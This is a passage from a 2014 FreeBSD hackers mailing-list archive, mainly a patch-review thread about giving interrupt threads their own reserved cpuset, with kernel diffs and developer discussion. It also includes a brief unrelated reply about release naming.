probably do the same for kprocs, but I'm unsure if we really need it. > I think this is fine. See below for the style comments. Patch updated. > > With the proliferation of the special cpuset ids, it is probably time > to add an assert to cpuset_rel() and cpuset_rel_defer() that it never > try to free the preallocated set. Added. It seems that cpuset_rel() / _cpuset_create() pair is racy: Let's imagine we have set X with single reference and the following 2 processes are going to happen: 1) cpuset_rel() is called (for example, while changing process CPU set from userland) 2) given process is going to fork creating shadow set Then, the folowing can happen: 1 calls refcount_release returning 0 2 calls cpuset_shadow() -> _cpuset_create() which finishes successfully adding another reference to set X and returning to caller 1 proceeds for set deletion removing it from list, releasing index and freeing it via uma_zfree() I'm not sure how we can fix this easily ( well, we can read current refcount value directly inside cpuset_lock, return if != 0 which is more or less safe, but more complex cases like multiple cpuset_rel() running on the same time (and calling refcount_release()) are still possible ) > > Since you use static pre-known set id for ithreads, it should be documented > along with the set 1 in the man page ? Yes, I'll do that. > >> >> Index: sys/kern/kern_cpuset.c >> =================================================================== >> --- sys/kern/kern_cpuset.c >> +++ sys/kern/kern_cpuset.c >> @@ -112,7 +112,7 @@ >> SYSCTL_INT(_kern_sched, OID_AUTO, cpusetsize, CTLFLAG_RD, >> 0, sizeof(cpuset_t), "sizeof(cpuset_t)"); >> >> -cpuset_t *cpuset_root; >> +cpuset_t *cpuset_root, *cpuset_iroot; >> >> /* >> * Acquire a reference to a cpuset, all pointers must be tracked with refs. >> @@ -213,7 +213,7 @@ >> * Find a set based on an id. Returns it with a ref. >> */ >> static struct cpuset * >> -cpuset_lookup(cpusetid_t setid, struct thread *td) >> +cpuset_lookup_id(cpusetid_t setid) >> { >> struct cpuset *set; >> >> @@ -227,6 +227,17 @@ >> cpuset_ref(set); >> mtx_unlock_spin(&cpuset_lock); >> >> + return (set); >> +} >> + >> +static struct cpuset * >> +cpuset_lookup(cpusetid_t setid, struct thread *td) >> +{ >> + struct cpuset *set; >> + >> + set = cpuset_lookup_id(setid); >> + >> + > Too many emtpy lines. The statement above should probably go after the > KASSERT() line below. > >> KASSERT(td != NULL, ("[%s:%d] td is NULL", __func__, __LINE__)); >> if (set != NULL && jailed(td->td_ucred)) { >> struct cpuset *jset, *tset; >> @@ -245,6 +256,25 @@ >> } >> >> /* >> + * Find a set based on an id. Returns it with a ref. >> + */ >> +struct cpuset * >> +cpuset_lookup_builtin(cpusetid_t setid) >> +{ >> + struct cpuset *set; >> + >> + KASSERT(setid <= CPUSET_RESERVED_MAX, >> + ("[%s:%d] wrong set id: %d", __func__, __LINE__, setid)); >> + >> + set = cpuset_lookup_id(setid); >> + >> + KASSERT(set != NULL, >> + ("[%s:%d] set id %d not found", __func__, __LINE__, setid)); >> + >> + return (set); > Again the empty lines are not needed. > >> +} >> + >> +/* >> * Create a set in the space provided in 'set' with the provided parameters. >> * The set is returned with a single ref. May return EDEADLK if the set >> * will have no valid cpu based on restrictions from the parent. >> @@ -725,9 +755,10 @@ >> * 1 - The default set which all processes are a member of until changed. >> * This allows an administrator to move all threads off of given cpus to >> * dedicate them to high priority tasks or save power etc. >> + * 2 - The root set which should be used for all interruot/ithreads. > Typo in the 'interrupt'. > >> */ >> -struct cpuset * >> -cpuset_thread0(void) >> +static void >> +cpuset_init_sets(void) >> { >> struct cpuset *set; >> int error; >> @@ -751,14 +782,31 @@ >> * Now derive a default, modifiable set from that to give out. >> */ >> set = uma_zalloc(cpuset_zone, M_WAITOK); >> - error = _cpuset_create(set, cpuset_zero, &cpuset_zero->cs_mask, 1); >> + error = _cpuset_create(set, cpuset_zero, &cpuset_zero->cs_mask, >> + CPUSET_SET1); >> KASSERT(error == 0, ("Error creating default set: %d\n", error)); >> /* >> - * Initialize the unit allocator. 0 and 1 are allocated above. >> + * Create another root set for interrupt bindings. >> */ >> - cpuset_unr = new_unrhdr(2, INT_MAX, NULL); >> + set = uma_zalloc(cpuset_zone, M_WAITOK); >> + error = _cpuset_create(set, cpuset_zero, &cpuset_zero->cs_mask, >> + CPUSET_ITHREAD); >> + KASSERT(error == 0, ("Error creating ithread cpuset: %d\n", error)); >> + set->cs_flags |= CPU_SET_ROOT; >> + cpuset_iroot = &set->cs_mask; >> + /* >> + * Initialize the unit allocator. Reserve 0..15 for special sets. >> + */ >> + cpuset_unr = new_unrhdr(CPUSET_RESERVED_MAX + 1, INT_MAX, NULL); > Style requests that multi-line block comments have empty line before. > Spelling CPUSET_RESERVED_MAX as 15 in the comment looks strange. > >> +} >> >> - return (set); >> +struct cpuset * >> +cpuset_thread0(void) >> +{ >> + >> + cpuset_init_sets(); >> + > Empty line. > >> + return (cpuset_lookup_builtin(CPUSET_SET1)); >> } >> >> /* >> Index: sys/kern/kern_intr.c >> =================================================================== >> --- sys/kern/kern_intr.c >> +++ sys/kern/kern_intr.c >> @@ -318,7 +318,7 @@ >> if (ie->ie_thread != NULL) { >> CPU_ZERO(&mask); >> if (cpu == NOCPU) >> - CPU_COPY(cpuset_root, &mask); >> + CPU_COPY(cpuset_iroot, &mask); >> else >> CPU_SET(cpu, &mask); >> id = ie->ie_thread->it_thread->td_tid; >> @@ -334,7 +334,7 @@ >> if (ie->ie_thread != NULL) { >> CPU_ZERO(&mask); >> if (ie->ie_cpu == NOCPU) >> - CPU_COPY(cpuset_root, &mask); >> + CPU_COPY(cpuset_iroot, &mask); >> else >> CPU_SET(ie->ie_cpu, &mask); >> id = ie->ie_thread->it_thread->td_tid; >> @@ -381,7 +381,7 @@ >> * If we're setting all cpus we can unbind. Otherwise make sure >> * only one cpu is in the set. >> */ >> - if (CPU_CMP(cpuset_root, mask)) { >> + if (CPU_CMP(cpuset_iroot, mask)) { >> for (n = 0; n < CPU_SETSIZE; n++) { >> if (!CPU_ISSET(n, mask)) >> continue; >> @@ -409,7 +409,7 @@ >> CPU_ZERO(mask); >> mtx_lock(&ie->ie_lock); >> if (ie->ie_cpu == NOCPU) >> - CPU_COPY(cpuset_root, mask); >> + CPU_COPY(cpuset_iroot, mask); >> else >> CPU_SET(ie->ie_cpu, mask); >> mtx_unlock(&ie->ie_lock); >> @@ -461,6 +461,7 @@ >> TD_SET_IWAIT(td); >> thread_unlock(td); >> td->td_pflags |= TDP_ITHREAD; >> + td->td_cpuset = cpuset_lookup_builtin(CPUSET_ITHREAD); >> ithd->it_thread = td; >> CTR2(KTR_INTR, "%s: created %s", __func__, name); >> return (ithd); >> @@ -485,6 +486,7 @@ >> TD_SET_IWAIT(td); >> thread_unlock(td); >> td->td_pflags |= TDP_ITHREAD; >> + td->td_cpuset = cpuset_lookup_builtin(CPUSET_ITHREAD); >> ithd->it_thread = td; >> CTR2(KTR_INTR, "%s: created %s", __func__, name); >> return (ithd); >> Index: sys/sys/cpuset.h >> =================================================================== >> --- sys/sys/cpuset.h >> +++ sys/sys/cpuset.h >> @@ -81,6 +81,10 @@ >> */ >> #define CPUSET_INVALID -1 >> #define CPUSET_DEFAULT 0 >> +#define CPUSET_SET1 1 >> +#define CPUSET_ITHREAD 2 >> + >> +#define CPUSET_RESERVED_MAX 15 >> >> #ifdef _KERNEL >> LIST_HEAD(setlist, cpuset); >> @@ -110,11 +114,12 @@ >> #define CPU_SET_ROOT 0x0001 /* Set is a root set. */ >> #define CPU_SET_RDONLY 0x0002 /* No modification allowed. */ >> >> -extern cpuset_t *cpuset_root; >> +extern cpuset_t *cpuset_root, *cpuset_iroot; >> struct prison; >> struct proc; >> >> struct cpuset *cpuset_thread0(void); >> +struct cpuset *cpuset_lookup_builtin(cpusetid_t setid); >> struct cpuset *cpuset_ref(struct cpuset *); >> void cpuset_rel(struct cpuset *); >> int cpuset_setthread(lwpid_t id, cpuset_t *); --------------090403010601010707050801 Content-Type: text/x-patch; name="D141_4.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="D141_4.diff" Index: sys/kern/kern_cpuset.c =================================================================== --- sys/kern/kern_cpuset.c +++ sys/kern/kern_cpuset.c @@ -112,7 +112,7 @@ SYSCTL_INT(_kern_sched, OID_AUTO, cpusetsize, CTLFLAG_RD, 0, sizeof(cpuset_t), "sizeof(cpuset_t)"); -cpuset_t *cpuset_root; +cpuset_t *cpuset_root, *cpuset_iroot; /* * Acquire a reference to a cpuset, all pointers must be tracked with refs. @@ -167,9 +167,11 @@ if (refcount_release(&set->cs_ref) == 0) return; + id = set->cs_id; + KASSERT(id > CPUSET_RESERVED_MAX || id == CPUSET_INVALID, + ("[%s:%d] freeing reserved set id: %d", __func__, __LINE__, id)); mtx_lock_spin(&cpuset_lock); LIST_REMOVE(set, cs_siblings); - id = set->cs_id; if (id != CPUSET_INVALID) LIST_REMOVE(set, cs_link); mtx_unlock_spin(&cpuset_lock); @@ -186,12 +188,16 @@ static void cpuset_rel_defer(struct setlist *head, struct cpuset *set) { + cpusetid_t id; if (refcount_release(&set->cs_ref) == 0) return; + id = set->cs_id; + KASSERT(id > CPUSET_RESERVED_MAX || id == CPUSET_INVALID, + ("[%s:%d] freeing reserved set id: %d", __func__, __LINE__, id)); mtx_lock_spin(&cpuset_lock); LIST_REMOVE(set, cs_siblings); - if (set->cs_id != CPUSET_INVALID) + if (id != CPUSET_INVALID) LIST_REMOVE(set, cs_link); LIST_INSERT_HEAD(head, set, cs_link); mtx_unlock_spin(&cpuset_lock); @@ -213,7 +219,7 @@ * Find a set based on an id. Returns it with a ref. */ static struct cpuset * -cpuset_lookup(cpusetid_t setid, struct thread *td) +cpuset_lookup_id(cpusetid_t setid) { struct cpuset *set; @@ -227,7 +233,17 @@ cpuset_ref(set); mtx_unlock_spin(&cpuset_lock); + return (set); +} + +static struct cpuset * +cpuset_lookup(cpusetid_t setid, struct thread *td) +{ + struct cpuset *set; + KASSERT(td != NULL, ("[%s:%d] td is NULL", __func__, __LINE__)); + + set = cpuset_lookup_id(setid); if (set != NULL && jailed(td->td_ucred)) { struct cpuset *jset, *tset; @@ -245,6 +261,23 @@ } /* + * Find reserved set based on its id. Returns it with a ref. + */ +struct cpuset * +cpuset_lookup_reserved(cpusetid_t setid) +{ + struct cpuset *set; + + KASSERT(setid <= CPUSET_RESERVED_MAX, + ("[%s:%d] wrong set id: %d", __func__, __LINE__, setid)); + set = cpuset_lookup_id(setid); + KASSERT(set != NULL, + ("[%s:%d] set id %d not found", __func__, __LINE__, setid)); + + return (set); +} + +/* * Create a set in the space provided in 'set' with the provided parameters. * The set is returned with a single ref. May return EDEADLK if the set * will have no valid cpu based on restrictions from the parent. @@ -725,16 +758,18 @@ * 1 - The default set which all processes are a member of until changed. * This allows an administrator to move all threads off of given cpus to * dedicate them to high priority tasks or save power etc. + * 2 - The root set which should be used for all interrupts/ithreads. */ -struct cpuset * -cpuset_thread0(void) +static void +cpuset_init_sets(void) { struct cpuset *set; int error; cpuset_zone = uma_zcreate("cpuset", sizeof(struct cpuset), NULL, NULL, NULL, NULL, UMA_ALIGN_PTR, 0); mtx_init(&cpuset_lock, "cpuset", NULL, MTX_SPIN | MTX_RECURSE); + /* * Create the root system set for the whole machine. Doesn't use * cpuset_create() due to NULL parent. @@ -747,18 +782,38 @@ set->cs_flags = CPU_SET_ROOT; cpuset_zero = set; cpuset_root = &set->cs_mask; + /* * Now derive a default, modifiable set from that to give out. */ set = uma_zalloc(cpuset_zone, M_WAITOK); - error = _cpuset_create(set, cpuset_zero, &cpuset_zero->cs_mask, 1); + error = _cpuset_create(set, cpuset_zero, &cpuset_zero->cs_mask, + CPUSET_DEFAULT); KASSERT(error == 0, ("Error creating default set: %d\n", error)); + /* - * Initialize the unit allocator. 0 and 1 are allocated above. + * Create another root set for interrupt bindings. */ - cpuset_unr = new_unrhdr(2, INT_MAX, NULL); + set = uma_zalloc(cpuset_zone, M_WAITOK); + error = _cpuset_create(set, cpuset_zero, &cpuset_zero->cs_mask, + CPUSET_ITHREAD); + KASSERT(error == 0, ("Error creating ithread cpuset: %d\n", error)); + set->cs_flags |= CPU_SET_ROOT; + cpuset_iroot = &set->cs_mask; - return (set); + /* + * Initialize the unit allocator. + * Reserve 0..CPUSET_RESERVED_MAX for special sets. + */ + cpuset_unr = new_unrhdr(CPUSET_RESERVED_MAX + 1, INT_MAX, NULL); +} + +struct cpuset * +cpuset_thread0(void) +{ + + cpuset_init_sets(); + return (cpuset_lookup_reserved(CPUSET_DEFAULT)); } /* Index: sys/kern/kern_intr.c =================================================================== --- sys/kern/kern_intr.c +++ sys/kern/kern_intr.c @@ -318,7 +318,7 @@ if (ie->ie_thread != NULL) { CPU_ZERO(&mask); if (cpu == NOCPU) - CPU_COPY(cpuset_root, &mask); + CPU_COPY(cpuset_iroot, &mask); else CPU_SET(cpu, &mask); id = ie->ie_thread->it_thread->td_tid; @@ -334,7 +334,7 @@ if (ie->ie_thread != NULL) { CPU_ZERO(&mask); if (ie->ie_cpu == NOCPU) - CPU_COPY(cpuset_root, &mask); + CPU_COPY(cpuset_iroot, &mask); else CPU_SET(ie->ie_cpu, &mask); id = ie->ie_thread->it_thread->td_tid; @@ -381,7 +381,7 @@ * If we're setting all cpus we can unbind. Otherwise make sure * only one cpu is in the set. */ - if (CPU_CMP(cpuset_root, mask)) { + if (CPU_CMP(cpuset_iroot, mask)) { for (n = 0; n < CPU_SETSIZE; n++) { if (!CPU_ISSET(n, mask)) continue; @@ -409,7 +409,7 @@ CPU_ZERO(mask); mtx_lock(&ie->ie_lock); if (ie->ie_cpu == NOCPU) - CPU_COPY(cpuset_root, mask); + CPU_COPY(cpuset_iroot, mask); else CPU_SET(ie->ie_cpu, mask); mtx_unlock(&ie->ie_lock); @@ -461,6 +461,7 @@ TD_SET_IWAIT(td); thread_unlock(td); td->td_pflags |= TDP_ITHREAD; + td->td_cpuset = cpuset_lookup_reserved(CPUSET_ITHREAD); ithd->it_thread = td; CTR2(KTR_INTR, "%s: created %s", __func__, name); return (ithd); @@ -485,6 +486,7 @@ TD_SET_IWAIT(td); thread_unlock(td); td->td_pflags |= TDP_ITHREAD; + td->td_cpuset = cpuset_lookup_reserved(CPUSET_ITHREAD); ithd->it_thread = td; CTR2(KTR_INTR, "%s: created %s", __func__, name); return (ithd); Index: sys/sys/cpuset.h =================================================================== --- sys/sys/cpuset.h +++ sys/sys/cpuset.h @@ -80,7 +80,11 @@ * Reserved cpuset identifiers. */ #define CPUSET_INVALID -1 -#define CPUSET_DEFAULT 0 +#define CPUSET_SET0 0 +#define CPUSET_DEFAULT 1 +#define CPUSET_ITHREAD 2 + +#define CPUSET_RESERVED_MAX 15 #ifdef _KERNEL LIST_HEAD(setlist, cpuset); @@ -110,11 +114,12 @@ #define CPU_SET_ROOT 0x0001 /* Set is a root set. */ #define CPU_SET_RDONLY 0x0002 /* No modification allowed. */ -extern cpuset_t *cpuset_root; +extern cpuset_t *cpuset_root, *cpuset_iroot; struct prison; struct proc; struct cpuset *cpuset_thread0(void); +struct cpuset *cpuset_lookup_reserved(cpusetid_t setid); struct cpuset *cpuset_ref(struct cpuset *); void cpuset_rel(struct cpuset *); int cpuset_setthread(lwpid_t id, cpuset_t *); --------------090403010601010707050801-- From owner-freebsd-hackers@FreeBSD.ORG Thu Jun 5 14:58:48 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DB700721; Thu, 5 Jun 2014 14:58:48 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id B2E2E26B5; Thu, 5 Jun 2014 14:58:48 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id AEA23B94C; Thu, 5 Jun 2014 10:58:47 -0400 (EDT) From: John Baldwin To: "Alexander V. Chernikov" Subject: Re: Permit init(8) use its own cpuset group. Date: Thu, 5 Jun 2014 10:09:59 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20140415; KDE/4.5.5; amd64; ; ) References: <538C8F9A.4020301@FreeBSD.org> <201406041106.11659.jhb@freebsd.org> <538F70AB.5030701@FreeBSD.org> In-Reply-To: <538F70AB.5030701@FreeBSD.org> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Message-Id: <201406051009.59432.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Thu, 05 Jun 2014 10:58:47 -0400 (EDT) Cc: Konstantin Belousov , freebsd-hackers@freebsd.org, hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Jun 2014 14:58:48 -0000 On Wednesday, June 04, 2014 3:16:59 pm Alexander V. Chernikov wrote: > On 04.06.2014 19:06, John Baldwin wrote: > > On Monday, June 02, 2014 12:48:50 pm Konstantin Belousov wrote: > >> On Mon, Jun 02, 2014 at 06:52:10PM +0400, Alexander V. Chernikov wrote: > >>> Hello list! > >>> > >>> Currently init(8) uses group 1 which is root group. > >>> Modifications of this group affects both kernel and userland threads. > >>> Additionally, such modifications are impossible, for example, in presence > >>> of multi-queue NIC drivers (like igb or ixgbe) which binds their threads > > to > >>> particular cpus. > >>> > >>> Proposed change ("init_cpuset" loader tunable) permits changing cpu > >>> masks for > >>> userland more easily. Restricting user processes to migrate to/from CPU > >>> cores > >>> used for network traffic processing is one of the cases. > >>> > >>> Phabricator: https://phabric.freebsd.org/D141 (the same version attached > >>> inline) > >>> > >>> If there are no objections, I'll commit this next week. > >> Why is the tunable needed ? > > Because some people already depend on doing 'cpuset -l 0 -s 1'. It is also > > documented in our manpages that processes start in cpuset 1 by default so > > that you can use 'cpuset -l 0 -s 1' to move all processes, etc. > > > > For the stated problem (bound ithreads in drivers), I would actually like to > > fix ithreads that are bound to a specific CPU to create a different cpuset > > instead so they don't conflict with set 1. > Yes, this seem to be much better approach. > Please take a look on the new patch (here or in the phabricator). > Comments: > > Use different approach for modifyable root set: > > * Make sets in 0..15 internal > * Define CPUSET_SET1 & CPUSET_ITHREAD in that range > * Add cpuset_lookup_builtin() to retrieve such cpu sets by id > * Create additional root set for ithreads > * Use this set in ithread_create() > * Change intr_setaffinity() to use cpuset_iroot (do we really need this)? > > We can probably do the same for kprocs, but I'm unsure if we really need it. I imagined something a bit simpler. Just create a new set in intr_event_bind and bind the ithread to the new set. No need to have more magic set ids, etc. That also means that an ithread that isn't bound to a specific CPU via either 'cpuset -x' or BUS_BIND_INTR() will honor 'cpuset -s 1' like other kernel processes. I think that's probably fine and sensible. The issue is not the default set of ithreads, the issue is only with ithreads that are bound to specific CPUs. Unfortunately, this really needs ithreads to be separate kprocs again to work correctly as the cpuset code doesn't really permit threads to use independent sets. -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Thu Jun 5 16:42:25 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E007A335 for ; Thu, 5 Jun 2014 16:42:25 +0000 (UTC) Received: from dmz-mailsec-scanner-3.mit.edu (dmz-mailsec-scanner-3.mit.edu [18.9.25.14]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 6A4BF21B6 for ; Thu, 5 Jun 2014 16:42:25 +0000 (UTC) X-AuditID: 1209190e-f79946d000000c39-cf-53909cbc6b34 Received: from mailhub-auth-4.mit.edu ( [18.7.62.39]) (using TLS with cipher AES256-SHA (256/256 bits)) (Client did not present a certificate) by dmz-mailsec-scanner-3.mit.edu (Symantec Messaging Gateway) with SMTP id D1.12.03129.CBC90935; Thu, 5 Jun 2014 12:37:16 -0400 (EDT) Received: from outgoing.mit.edu (outgoing-auth-1.mit.edu [18.9.28.11]) by mailhub-auth-4.mit.edu (8.13.8/8.9.2) with ESMTP id s55GbFtE001439; Thu, 5 Jun 2014 12:37:15 -0400 Received: from multics.mit.edu (system-low-sipb.mit.edu [18.187.2.37]) (authenticated bits=56) (User authenticated as kaduk@ATHENA.MIT.EDU) by outgoing.mit.edu (8.13.8/8.12.4) with ESMTP id s55GbDvj032428 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 5 Jun 2014 12:37:14 -0400 Received: (from kaduk@localhost) by multics.mit.edu (8.12.9.20060308) id s55GbDtv000636; Thu, 5 Jun 2014 12:37:13 -0400 (EDT) Date: Thu, 5 Jun 2014 12:37:12 -0400 (EDT) From: Benjamin Kaduk To: John Kozubik Subject: Re: There is currently no usable release of FreeBSD. In-Reply-To: Message-ID: References: <18771.1401901640@critter.freebsd.dk> <19839.1401922026@critter.freebsd.dk> User-Agent: Alpine 1.10 (GSO 962 2008-03-14) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFnrDIsWRmVeSWpSXmKPExsUixG6nrrtnzoRgg4uNghbbN/9jtDj75S+T A5PHjE/zWTxmfr3NHMAUxWWTkpqTWZZapG+XwJVxaNlzloLdzBUvWuayNjBeYepi5OSQEDCR +PBrKiOELSZx4d56ti5GLg4hgdlMEpMWf2eGcDYwSnyZtJ4RwjnIJHFx6ntmkBYhgXqJea+6 wUaxCGhJvNt3jQ3EZhNQkZj5ZiOQzcEhIqAs8e59OkiYWUBe4sLmQ2DbhAVsJU49mgxWzglk X95/gh3E5hVwlPi8ZBMLxPhXjBLTF9mD2KICOhKr909hgagRlDg58wkLxExLiXN/rrNNYBSc hSQ1C0lqASPTKkbZlNwq3dzEzJzi1GTd4uTEvLzUIl1jvdzMEr3UlNJNjKBA5ZTk28H49aDS IUYBDkYlHt6A/gnBQqyJZcWVuYcYJTmYlER5j80ACvEl5adUZiQWZ8QXleakFh9ilOBgVhLh TYwCyvGmJFZWpRblw6SkOViUxHnfWlsFCwmkJ5akZqemFqQWwWRlODiUJHi/zQZqFCxKTU+t SMvMKUFIM3FwggznARp+B6SGt7ggMbc4Mx0if4pRUUqc9x9IQgAkkVGaB9cLSySvGMWBXhHm fQZSxQNMQnDdwKAF+kiEd3NRL8jgkkSElFQDo5n925gTE7folrH/WnNue7zgr1fLNXLfOuYl +l0Jn/hxzYXLbrNaF7jaRi3dflR4pU12scPds01Prqg7+7TIZh5k3C06j8PptejnSSxHcg/1 2/HoML/wPBvwlmXe4Y86/4IOu/1earglSsS9x19+J8/jiKWvlz3oVxBgVV4fePqtvVfkW43u OCWW4oxEQy3mouJEACEz4+7/AgAA Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Jun 2014 16:42:25 -0000 On Wed, 4 Jun 2014, John Kozubik wrote: > I don't even care which one! Any of them! Just give us a release that we > can grow into and not find ourselves at "legacy" two years later, at 9.2. In this instance, all that the "legacy" word meant was that there had been a release with a larger major version number. Which (having a new major release, that is) may well be a good thing; the linguistic ambiguity, less so. -Ben From owner-freebsd-hackers@FreeBSD.ORG Thu Jun 5 19:49:05 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 91D30E83; Thu, 5 Jun 2014 19:49:05 +0000 (UTC) Received: from mail.ipfw.ru (mail.ipfw.ru [IPv6:2a01:4f8:120:6141::2]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 55141222A; Thu, 5 Jun 2014 19:49:05 +0000 (UTC) Received: from v6.mpls.in ([2a02:978:2::5] helo=ws.su29.net) by mail.ipfw.ru with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.76 (FreeBSD)) (envelope-from ) id 1WsZju-000BWX-Rl; Thu, 05 Jun 2014 19:38:02 +0400 Message-ID: <5390C907.1070405@FreeBSD.org> Date: Thu, 05 Jun 2014 23:46:15 +0400 From: "Alexander V. Chernikov" User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: John Baldwin Subject: Re: Permit init(8) use its own cpuset group. References: <538C8F9A.4020301@FreeBSD.org> <201406041106.11659.jhb@freebsd.org> <538F70AB.5030701@FreeBSD.org> <201406051009.59432.jhb@freebsd.org> In-Reply-To: <201406051009.59432.jhb@freebsd.org> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Cc: Konstantin Belousov , freebsd-hackers@freebsd.org, hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Jun 2014 19:49:05 -0000 On 05.06.2014 18:09, John Baldwin wrote: > On Wednesday, June 04, 2014 3:16:59 pm Alexander V. Chernikov wrote: >> On 04.06.2014 19:06, John Baldwin wrote: >>> On Monday, June 02, 2014 12:48:50 pm Konstantin Belousov wrote: >>>> On Mon, Jun 02, 2014 at 06:52:10PM +0400, Alexander V. Chernikov wrote: >>>>> Hello list! >>>>> >>>>> Currently init(8) uses group 1 which is root group. >>>>> Modifications of this group affects both kernel and userland threads. >>>>> Additionally, such modifications are impossible, for example, in > presence >>>>> of multi-queue NIC drivers (like igb or ixgbe) which binds their threads >>> to >>>>> particular cpus. >>>>> >>>>> Proposed change ("init_cpuset" loader tunable) permits changing cpu >>>>> masks for >>>>> userland more easily. Restricting user processes to migrate to/from CPU >>>>> cores >>>>> used for network traffic processing is one of the cases. >>>>> >>>>> Phabricator: https://phabric.freebsd.org/D141 (the same version attached >>>>> inline) >>>>> >>>>> If there are no objections, I'll commit this next week. >>>> Why is the tunable needed ? >>> Because some people already depend on doing 'cpuset -l 0 -s 1'. It is > also >>> documented in our manpages that processes start in cpuset 1 by default so >>> that you can use 'cpuset -l 0 -s 1' to move all processes, etc. >>> >>> For the stated problem (bound ithreads in drivers), I would actually like > to >>> fix ithreads that are bound to a specific CPU to create a different cpuset >>> instead so they don't conflict with set 1. >> Yes, this seem to be much better approach. >> Please take a look on the new patch (here or in the phabricator). >> Comments: >> >> Use different approach for modifyable root set: >> >> * Make sets in 0..15 internal >> * Define CPUSET_SET1 & CPUSET_ITHREAD in that range >> * Add cpuset_lookup_builtin() to retrieve such cpu sets by id >> * Create additional root set for ithreads >> * Use this set in ithread_create() >> * Change intr_setaffinity() to use cpuset_iroot (do we really need this)? >> >> We can probably do the same for kprocs, but I'm unsure if we really need it. > > I imagined something a bit simpler. Just create a new set in intr_event_bind > and bind the ithread to the new set. No need to have more magic set ids, etc. Well, we also have userland which can modify given changes via `cpuset -x', so we need to be able to add some more logic on set allocation/keeping. Additionally, we can try to do the same via `cpuset -t', so introducing something like cpuset_setIthread() and hooking into intr_event_bind() won't probably be enough. At least I can't think out a quick and easy way to do this. > That also means that an ithread that isn't bound to a specific CPU via either > 'cpuset -x' or BUS_BIND_INTR() will honor 'cpuset -s 1' like other > kernel processes. I think that's probably fine and sensible. The issue is Well, it is questionable. Kernel threads are a bit different in terms of TLB changes, memory working set and so on. (Personally I'd prefer to separate user / kthreads / ithreads to different sets in HEAD but that's another story). Anyway, we probably can (and should) MFC a bit different version which tries to change several sets at once if user supplied set 1 as argument. > not the default set of ithreads, the issue is only with ithreads that are > bound to specific CPUs. > > Unfortunately, this really needs ithreads to be separate kprocs again to work > correctly as the cpuset code doesn't really permit threads to use independent > sets. > From owner-freebsd-hackers@FreeBSD.ORG Thu Jun 5 20:26:15 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4AB28567; Thu, 5 Jun 2014 20:26:15 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 1EED125E8; Thu, 5 Jun 2014 20:26:15 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 5319DB94B; Thu, 5 Jun 2014 16:26:13 -0400 (EDT) From: John Baldwin To: "Alexander V. Chernikov" Subject: Re: Permit init(8) use its own cpuset group. Date: Thu, 5 Jun 2014 15:59:11 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20140415; KDE/4.5.5; amd64; ; ) References: <538C8F9A.4020301@FreeBSD.org> <201406051009.59432.jhb@freebsd.org> <5390C907.1070405@FreeBSD.org> In-Reply-To: <5390C907.1070405@FreeBSD.org> MIME-Version: 1.0 